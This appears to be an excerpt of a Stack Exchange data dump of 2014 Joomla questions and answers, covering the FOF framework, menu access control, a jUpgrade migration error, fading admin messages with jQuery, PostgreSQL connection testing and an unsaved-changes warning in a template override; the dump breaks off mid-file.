  <row Id="3587" PostTypeId="2" ParentId="3579" CreationDate="2014-07-13T13:07:56.573" Score="7" Body="&lt;p&gt;Previous answers are comprehensive about Joomla Core MVC. As an alternative MVC for Joomla, &lt;strong&gt;FOF&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.akeebabackup.com/documentation/fof/introducing-fof.html#what-is-fof&quot;&gt;https://www.akeebabackup.com/documentation/fof/introducing-fof.html#what-is-fof&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/akeeba/fof&quot;&gt;https://github.com/akeeba/fof&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What is FOF&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FOF (Framework on Framework) is a rapid application development framework for Joomla!. Unlike other frameworks it is not standalone. It extends the Joomla! Platform instead of replacing it, featuring its own forked and extended version of the MVC classes, keeping a strong semblance to the existing Joomla! MVC API. This means that you don't have to relearn writing Joomla! extensions. Instead, you can start being productive from the first day you're using it. Our goal is to always support the officially supported LTS versions of Joomla! and not break backwards compatibility without a clear deprecation and migration path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FOF is compatible with the database technologies used by Joomla! itself: MySQL, SQL Server (and Windows Azure SQL), PostgreSQL. In most cases you can write a component in one database server technology and have it run on the other database server technologies with minimal or no effort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FOF is currently used by free and commercial components for Joomla! by an increasing number of developers.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-07-13T13:07:56.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3588" PostTypeId="1" AcceptedAnswerId="3589" CreationDate="2014-07-13T16:16:45.287" Score="3" ViewCount="145" Body="&lt;p&gt;Can a component view be configured to show a only a subset of available User Groups when adding it to a menu?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My component has a front-end view that must &lt;em&gt;never&lt;/em&gt; be allowed to be viewed by anyone except users which are within a custom front-end User Group.  I understand that the person adding the menu item should &quot;know&quot; what they're doing, but I'm interested to know if this can be done as well.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-07-14T04:11:43.513" Title="Can the Access List of a Front-End menu item be limited to certain User Groups?" Tags="|component|menu-item|acl|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3589" PostTypeId="2" ParentId="3588" CreationDate="2014-07-13T22:16:53.047" Score="3" Body="&lt;p&gt;Not in a standard sense, i.e. the normal UI provided by Joomla. (Presuming you're talking about when an actual menu item is created here?) Extensions don't get a chance to run code when a menu item is created so, short answer: no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would normally suggest a plug-in but looking at &lt;code&gt;com_menu&lt;/code&gt; I can only see two &lt;code&gt;JEventDispatcher&lt;/code&gt; calls and they aren't very useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;/administrator/components/com_menus/models/menutypes.php&lt;/code&gt; you have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Allow a system plugin to insert dynamic menu types to the list shown in menus:&#xA;JEventDispatcher::getInstance()-&amp;gt;trigger('onAfterGetMenuTypeOptions', array(&amp;amp;$list, $this));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in &lt;code&gt;/administrator/components/com_menus/views/items/view.html.php&lt;/code&gt; you have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Allow a system plugin to insert dynamic menu types to the list shown in menus:&#xA;JEventDispatcher::getInstance()-&amp;gt;trigger('onBeforeRenderMenuItems', array($this));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking a layer deeper, the menu item class &lt;code&gt;MenusModelItem extends JModelAdmin&lt;/code&gt; the good thing here is that &lt;code&gt;JModelAdmin&lt;/code&gt; does trigger an &lt;code&gt;onContentChangeState()&lt;/code&gt; event which you could trap and dis-allow anyone try to set your view to published if the user group is wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that, I wouldn't be doing that. Menu's are just paths and easy to guess in our SEO/SEF world. The right place to do it is in the component/view itself, rejecting anyone that isn't in the right group. You can do this either silently bouncing users back to the home page or throw a &lt;code&gt;404&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="107" LastEditorUserId="107" LastEditDate="2014-07-14T04:11:43.513" LastActivityDate="2014-07-14T04:11:43.513" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3590" PostTypeId="1" CreationDate="2014-07-13T23:02:30.240" Score="5" ViewCount="6722" Body="&lt;p&gt;I made a wrong choice in the configuration of Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to have Default English (GB) Sample Data but I gave the first choice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;enter image description here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need the protostar template as it is in “Default English (GB) Sample Data” version and not as the default. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/u6BJP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to work with the project I created and I can’t create a new one in order to set the right choice. What I tried is to take the version of protostar template from the version of “Default English (GB) Sample Data” an make it a zip and upload it as a new extension-template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it gives me the message&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   Warning&#xA;   Template Install: There is already a Template using the named directory: Install. Are you trying to install the same template again?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What can I do in order to upload the version I want?&lt;/p&gt;&#xA;" OwnerUserId="1641" LastEditorUserId="159" LastEditDate="2014-07-14T13:44:12.963" LastActivityDate="2014-07-14T13:44:12.963" Title="How to install sample data after the installation is already done?" Tags="|installation|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3592" PostTypeId="1" CreationDate="2014-07-08T15:18:27.637" Score="0" ViewCount="384" Body="&lt;p&gt;I have tred to migrate a website in Joomla from 1.5 to 2.5 using jUpgrade but I have receive the &quot;undefined migrating&quot; error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Uncaught exception 'Exception' with message 'Unknown&#xA;  column 'rawpassword' in 'field list' SQL=INSERT INTO &lt;code&gt;j25_users&lt;/code&gt;&#xA;  (&lt;code&gt;id&lt;/code&gt;,&lt;code&gt;name&lt;/code&gt;,&lt;code&gt;username&lt;/code&gt;,&lt;code&gt;email&lt;/code&gt;,&lt;code&gt;password&lt;/code&gt;,&lt;code&gt;rawpassword&lt;/code&gt;,&lt;code&gt;usertype&lt;/code&gt;,&lt;code&gt;block&lt;/code&gt;,&lt;code&gt;sendEmail&lt;/code&gt;,&lt;code&gt;registerDate&lt;/code&gt;,&lt;code&gt;lastvisitDate&lt;/code&gt;,&lt;code&gt;activation&lt;/code&gt;,&lt;code&gt;params&lt;/code&gt;,&lt;code&gt;newsletter&lt;/code&gt;,&lt;code&gt;blog&lt;/code&gt;)&#xA;  VALUES&#xA;  ('62','Administrator','idnadmin','webmaster@example.com','a67042770b2ebf18e330abbef9453a06:LKQiBAD5PjxFacEoXzHLSV7uhIAEfNGX','','Super&#xA;  Administrator','0','1','2011-06-09 23:43:07','2014-07-07&#xA;  04:17:19','66b5d829f602c13165caecbe88d4f19f:RDRr56vAoRMkaVaQUnjRacD1xiCkDNgM','{\&quot;admin_language\&quot;&quot;\&quot;,\&quot;language\&quot;&quot;\&quot;,\&quot;editor\&quot;&quot;\&quot;,\&quot;helpsite\&quot;&quot;\&quot;,\&quot;timezone\&quot;&quot;UTC\&quot;}','0','1')'&#xA;  in&#xA;  /home/tesit126/public_html/wm/administrator/components/com_jupgrade/includes/jupgrade.class.php:347&#xA;  Stack trace: #0&#xA;  /home/tesit126/public_html/wm/administrator/components/com_jupgrade/includes/controller.php(45):&#xA;  jUpgrade-&gt;upgrade() #1 {main} thrown in&#xA;  /home/tesit126/public_html/wm/administrator/components/com_jupgrade/includes/jupgrade.class.php&#xA;  on line 347&#xA;  ========== [undefined] [undefined]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any ideas&lt;/p&gt;&#xA;" OwnerDisplayName="user3814898" LastEditorUserId="159" LastEditDate="2014-07-14T14:57:22.917" LastActivityDate="2014-09-12T15:15:42.470" Title="Migration error: Unknown column 'rawpassword' in 'field list'" Tags="|migration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3593" PostTypeId="2" ParentId="3592" CreationDate="2014-07-09T15:05:29.280" Score="1" Body="&lt;p&gt;The rawpassword field doesn't even exist in that table. In any case, you can solve the problem by just adding a rawpassword field (VARCHAR 255) to the #__users table.&lt;/p&gt;&#xA;" OwnerUserId="7867" OwnerDisplayName="itoctopus" LastActivityDate="2014-07-09T15:05:29.280" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3594" PostTypeId="1" AcceptedAnswerId="3595" CreationDate="2014-07-14T11:20:05.407" Score="3" ViewCount="3348" Body="&lt;p&gt;Let's say that I edit and save an article. The message &quot;Article successfully saved&quot;appears in the &lt;code&gt;system-message-container div&lt;/code&gt; and sticks there. Let's say that now I am doing some editing and I am interrupted by something else and I come back after a while on my article. I see the message &quot;Article successfully saved&quot; and click on close. After that I realized that in fact the message was there since the first save and that I didn't save the second edit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that I could pay more attention (not only on web-editing by the way) but is there a way to make the message &quot;Article successfully saved&quot; fade away after 20 secondes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: *You will tell me that I can click on save and close if I am not sure but I have found my self in situation when I have mess up the article when I come back and because I saw this message I told myself &quot;ok not problem, just close the article and open it again without saving and you will get back the version you had when you came back but...&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit : content of &lt;code&gt;administrator\templates\isis\html\layouts\joomla\system\message.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Joomla.Administrator&#xA; * @subpackage  Template.Isis&#xA; *&#xA; * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;$msgList = $displayData['msgList'];&#xA;&#xA;$alert = array('error' =&amp;gt; 'alert-error', 'warning' =&amp;gt; '', 'notice' =&amp;gt; 'alert-info', 'message' =&amp;gt; 'alert-success');&#xA;?&amp;gt;&#xA;&amp;lt;div id=&quot;system-message-container&quot;&amp;gt;&#xA;    &amp;lt;?php if (is_array($msgList) &amp;amp;&amp;amp; $msgList) : ?&amp;gt;&#xA;        &amp;lt;button type=&quot;button&quot; class=&quot;close&quot; data-dismiss=&quot;alert&quot;&amp;gt;&amp;amp;times;&amp;lt;/button&amp;gt;&#xA;        &amp;lt;?php foreach ($msgList as $type =&amp;gt; $msgs) : ?&amp;gt;&#xA;            &amp;lt;div class=&quot;alert &amp;lt;?php echo $alert[$type]; ?&amp;gt;&quot;&amp;gt;&#xA;                &amp;lt;h4 class=&quot;alert-heading&quot;&amp;gt;&amp;lt;?php echo JText::_($type); ?&amp;gt;&amp;lt;/h4&amp;gt;&#xA;                &amp;lt;?php if ($msgs) : ?&amp;gt;&#xA;                    &amp;lt;?php foreach ($msgs as $msg) : ?&amp;gt;&#xA;                        &amp;lt;p&amp;gt;&amp;lt;?php echo $msg; ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;?php endforeach; ?&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endforeach; ?&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;content of &lt;code&gt;administrator\templates\isis\js\template.js&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * @package     Joomla.Administrator&#xA; * @subpackage  Templates.isis&#xA; * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; * @since       3.0&#xA; */&#xA;&#xA;(function($)&#xA;{&#xA;    $(document).ready(function()&#xA;    {&#xA;        $('*[rel=tooltip]').tooltip();&#xA;&#xA;        // Turn radios into btn-group&#xA;        $('.radio.btn-group label').addClass('btn');&#xA;        $('.btn-group label:not(.active)').click(function()&#xA;        {&#xA;            var label = $(this);&#xA;            var input = $('#' + label.attr('for'));&#xA;&#xA;            if (!input.prop('checked')) {&#xA;                label.closest('.btn-group').find('label').removeClass('active btn-success btn-danger btn-primary');&#xA;                if (input.val() == '') {&#xA;                    label.addClass('active btn-primary');&#xA;                } else if (input.val() == 0) {&#xA;                    label.addClass('active btn-danger');&#xA;                } else {&#xA;                    label.addClass('active btn-success');&#xA;                }&#xA;                input.prop('checked', true);&#xA;            }&#xA;        });&#xA;        $('.btn-group input[checked=checked]').each(function()&#xA;        {&#xA;            if ($(this).val() == '') {&#xA;                $('label[for=' + $(this).attr('id') + ']').addClass('active btn-primary');&#xA;            } else if ($(this).val() == 0) {&#xA;                $('label[for=' + $(this).attr('id') + ']').addClass('active btn-danger');&#xA;            } else {&#xA;                $('label[for=' + $(this).attr('id') + ']').addClass('active btn-success');&#xA;            }&#xA;        });&#xA;        // add color classes to chosen field based on value&#xA;        $('select[class^=&quot;chzn-color&quot;], select[class*=&quot; chzn-color&quot;]').on('liszt:ready', function(){&#xA;            var select = $(this);&#xA;            var cls = this.className.replace(/^.(chzn-color[a-z0-9-_]*)$.*/, '\1');&#xA;            var container = select.next('.chzn-container').find('.chzn-single');&#xA;            container.addClass(cls).attr('rel', 'value_' + select.val());&#xA;            select.on('change click', function()&#xA;            {&#xA;                container.attr('rel', 'value_' + select.val());&#xA;            });&#xA;&#xA;        });&#xA;    });&#xA;})(jQuery);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="3650" LastEditDate="2016-11-24T18:27:42.263" LastActivityDate="2019-01-30T03:05:14.843" Title="Make the Message &quot;Article successfully saved&quot; Fade Away after x seconds" Tags="|joomla-3.x|administrator|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3595" PostTypeId="2" ParentId="3594" CreationDate="2014-07-14T11:54:09.387" Score="5" Body="&lt;p&gt;You can use the following jQuery for this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;setTimeout(function() {&#xA;    $('#system-message-container').fadeOut('fast');&#xA;}, 5000);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;code&gt;5000&lt;/code&gt; is 5 seconds, therefore you can change this value to whatever you want&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Where do I add this code?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strike&gt;&lt;strong&gt;Option 1:&lt;/strong&gt; This is a long and winded method. You can create a small plugin that calls this jQuery code.&lt;/strike&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Option 2:&lt;/strong&gt; Simply add the above code to the following file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;administrator/templates/isis/js/template.js&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Please note that Option 2 is considered a core hack, therefore if you install a Joomla update and there have been some changes to the admin template, then this change will be overridden.&lt;/p&gt;&#xA;&lt;h1&gt;Update &amp;gt;&amp;gt; Option 3:&lt;/h1&gt;&#xA;&lt;p&gt;Just noticed that you can also add this to the template override for system messages. So, open the following file in a text editor:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;administrator/templates/isis/html/message.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You should see on line 14, &lt;code&gt;$buffer = null;&lt;/code&gt;. Directly below this, add the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$buffer .= &amp;quot;&amp;lt;script&amp;gt;&#xA;                setTimeout(function() {&#xA;                    jQuery('#system-message-container').fadeOut('fast');&#xA;                }, 5000);&#xA;            &amp;lt;/script&amp;gt;&amp;quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For &lt;strong&gt;success&lt;/strong&gt; messages only, use this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$buffer .= &amp;quot;&amp;lt;script&amp;gt;    &#xA;                setTimeout(function() {&#xA;                    jQuery('.alert-success').parents('#system-message-container').fadeOut('fast');&#xA;                }, 5000);&#xA;            &amp;lt;/script&amp;gt;&amp;quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-07-14T15:30:24.127" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="3596" PostTypeId="2" ParentId="3590" CreationDate="2014-07-14T12:33:39.537" Score="4" Body="&lt;p&gt;As noted in the comments already, the Protostar template is installed perfectly fine in your installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default sample data would only add some modules to the page. But this is unrelated to the template itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like this without sample data&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DTmrz.png&quot; alt=&quot;Without Sample Data&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and this is with the default sample data&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8Tn7g.png&quot; alt=&quot;Default Sample Data&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difference is that with the sample data you have&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &quot;Main Menu&quot; module on &lt;code&gt;position-1&lt;/code&gt; (the &quot;Home&quot; button)&lt;/li&gt;&#xA;&lt;li&gt;An custom HTML module showing a picture on &lt;code&gt;position-3&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;The &quot;Popular Tags&quot; and &quot;Latest Articles&quot; modules on &lt;code&gt;position-7&lt;/code&gt; (right sidebar)&lt;/li&gt;&#xA;&lt;li&gt;An article &quot;Getting Started&quot; assigned to the homepage&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-07-14T12:33:39.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3598" PostTypeId="1" CreationDate="2014-07-14T14:44:31.883" Score="3" ViewCount="858" Body="&lt;p&gt;I try to install Joomla 3.3.1 on a new site, with PostgreSQL database. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did all correctly, and I tried many times, did lot of verifications, etc, and I have always the return : &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Impossible de se connecter à la base de données. Le connecteur a&#xA;  renvoyé le numéro : Error connecting to PGSQL database.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The host provides PostgreSQL, but they said me that it is few employed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I asked the host 2 days ago. I think that they tried to do something, but I have no return at all. In the same time, we were in Week-end, and today is National-Day, here. But, if there is a problem in Joomla, I prefer not to wait more longer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks for your help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I also red this thread : &lt;a href=&quot;https://joomla.stackexchange.com/questions/688/can-i-use-postgresql-with-joomla-3-3&quot;&gt;Can I use PostgreSQL with Joomla 3.3&lt;/a&gt; ).&lt;/p&gt;&#xA;" OwnerUserId="1647" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2014-07-15T06:18:34.397" Title="Installing PostgreSQL database - Error connecting to PGSQL database" Tags="|database|installation|postgresql|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3599" PostTypeId="2" ParentId="3598" CreationDate="2014-07-14T14:59:14.913" Score="2" Body="&lt;p&gt;Unfortunately the installer does not return the real error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some &lt;strong&gt;general tips:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;make sure the provided database already exists&lt;/li&gt;&#xA;&lt;li&gt;check if your database needs some specific settings, such as a different port or &lt;code&gt;sslmode=require&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Put your connection details in a normal php file&lt;/strong&gt; and run the script, having error reporting enabled:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$connection = 'host=127.0.0.1 port=5432 dbname=joomla3 user=postgres password=postgres';&#xA;$dbconn = pg_connect($connection);&#xA;&#xA;var_dump($dbconn);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When running the script you might get a proper error. When you get a resource, the connection is successful: &lt;code&gt;resource(4) of type (pgsql link)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-07-15T06:18:34.397" LastActivityDate="2014-07-15T06:18:34.397" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3600" PostTypeId="1" AcceptedAnswerId="3601" CreationDate="2014-07-14T15:32:41.470" Score="2" ViewCount="915" Body="&lt;p&gt;Is there a way to force my browser (Chrome) when I edit (JCE) an article on frontend  to display a message preventing accidental tab closure or redirection?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I often make that mistake on to close a tab and lose all my work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometime by clicking backward I can get back my work, but it often doesn't work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that I'm aware I should be careful where I click and that I should save often.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function getJavaScript($message) {&#xA;&#xA;&#xA;    $javascript .= 'if(window.addEventListener){ // Mozilla, Netscape, Firefox' . &quot;\n&quot;;&#xA;    $javascript .= '    window.addEventListener(&quot;load&quot;, function(){ alert(&quot;' . $message . '&quot;);}, false);' . &quot;\n&quot;;&#xA;    $javascript .= '} else { // IE' . &quot;\n&quot;;&#xA;    $javascript .= '    window.attachEvent(&quot;onload&quot;, function(){ alert(&quot;' . $message . '&quot;);});' . &quot;\n&quot;;&#xA;    $javascript .= '}';&#xA;    return $javascript;&#xA;}&#xA;&#xA;$doc = JFactory::getDocument();&#xA;$doc-&amp;gt;addScriptDeclaration( getJavaScript( 'Make sure you have saved your JCE content.' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT 2: C:My templates\protostar\html\com_content\form\edit.php file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Joomla.Site&#xA; * @subpackage  com_content&#xA; *&#xA; * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;JHtml::_('behavior.tabstate');&#xA;JHtml::_('behavior.keepalive');&#xA;JHtml::_('behavior.calendar');&#xA;JHtml::_('behavior.formvalidation');&#xA;JHtml::_('formbehavior.chosen', 'select');&#xA;JHtml::_('behavior.modal', 'a.modal_jform_contenthistory');&#xA;&#xA;// Create shortcut to parameters.&#xA;$params = $this-&amp;gt;state-&amp;gt;get('params');&#xA;//$images = json_decode($this-&amp;gt;item-&amp;gt;images);&#xA;//$urls = json_decode($this-&amp;gt;item-&amp;gt;urls);&#xA;&#xA;// This checks if the editor config options have ever been saved. If they haven't they will fall back to the original settings.&#xA;$editoroptions = isset($params-&amp;gt;show_publishing_options);&#xA;if (!$editoroptions)&#xA;{&#xA;    $params-&amp;gt;show_urls_images_frontend = '0';&#xA;}&#xA;/// lodder code pour pop up front end&#xA;$js = '&#xA;    var needToConfirm = true;&#xA;&#xA;    window.onbeforeunload = confirmExit;&#xA;    function confirmExit() {&#xA;        if (needToConfirm) {&#xA;            return &quot;Make sure you have saved your JCE content&quot;;&#xA;        }&#xA;    }    &#xA;';&#xA;&#xA;&#xA;/// end lodder code pour pop up front end&#xA;&#xA;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    Joomla.submitbutton = function(task)&#xA;    {&#xA;        if (task == 'article.cancel' || document.formvalidator.isValid(document.getElementById('adminForm')))&#xA;        {&#xA;            &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getField('articletext')-&amp;gt;save(); ?&amp;gt;&#xA;            Joomla.submitform(task);&#xA;        }&#xA;    }&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;div class=&quot;edit item-page&amp;lt;?php echo $this-&amp;gt;pageclass_sfx; ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;?php if ($params-&amp;gt;get('show_page_heading', 1)) : ?&amp;gt;&#xA;    &amp;lt;div class=&quot;page-header&quot;&amp;gt;&#xA;        &amp;lt;h1&amp;gt;&#xA;            &amp;lt;?php echo $this-&amp;gt;escape($params-&amp;gt;get('page_heading')); ?&amp;gt;&#xA;        &amp;lt;/h1&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;    &amp;lt;form action=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_content&amp;amp;a_id='.(int) $this-&amp;gt;item-&amp;gt;id); ?&amp;gt;&quot; method=&quot;post&quot; name=&quot;adminForm&quot; id=&quot;adminForm&quot; class=&quot;form-validate form-vertical&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;btn-toolbar&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;btn-group&quot;&amp;gt;&#xA;                &amp;lt;button type=&quot;button&quot; class=&quot;btn btn-primary&quot; onclick=&quot;Joomla.submitbutton('article.save')&quot;&amp;gt;&#xA;                    &amp;lt;span class=&quot;icon-ok&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;amp;#160;&amp;lt;?php echo JText::_('JSAVE') ?&amp;gt;&#xA;                &amp;lt;/button&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;btn-group&quot;&amp;gt;&#xA;                &amp;lt;button type=&quot;button&quot; class=&quot;btn&quot; onclick=&quot;Joomla.submitbutton('article.cancel')&quot;&amp;gt;&#xA;                    &amp;lt;span class=&quot;icon-cancel&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;amp;#160;&amp;lt;?php echo JText::_('JCANCEL') ?&amp;gt;&#xA;                &amp;lt;/button&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php if ($params-&amp;gt;get('save_history', 0)) : ?&amp;gt;&#xA;            &amp;lt;div class=&quot;btn-group&quot;&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('contenthistory'); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;fieldset&amp;gt;&#xA;            &amp;lt;ul class=&quot;nav nav-tabs&quot;&amp;gt;&#xA;                &amp;lt;li class=&quot;active&quot;&amp;gt;&amp;lt;a href=&quot;#editor&quot; data-toggle=&quot;tab&quot;&amp;gt;&amp;lt;?php echo JText::_('COM_CONTENT_ARTICLE_CONTENT') ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;?php if ($params-&amp;gt;get('show_urls_images_frontend') ) : ?&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#images&quot; data-toggle=&quot;tab&quot;&amp;gt;&amp;lt;?php echo JText::_('COM_CONTENT_IMAGES_AND_URLS') ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#publishing&quot; data-toggle=&quot;tab&quot;&amp;gt;&amp;lt;?php echo JText::_('COM_CONTENT_PUBLISHING') ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#language&quot; data-toggle=&quot;tab&quot;&amp;gt;&amp;lt;?php echo JText::_('JFIELD_LANGUAGE_LABEL') ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#metadata&quot; data-toggle=&quot;tab&quot;&amp;gt;&amp;lt;?php echo JText::_('COM_CONTENT_METADATA') ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            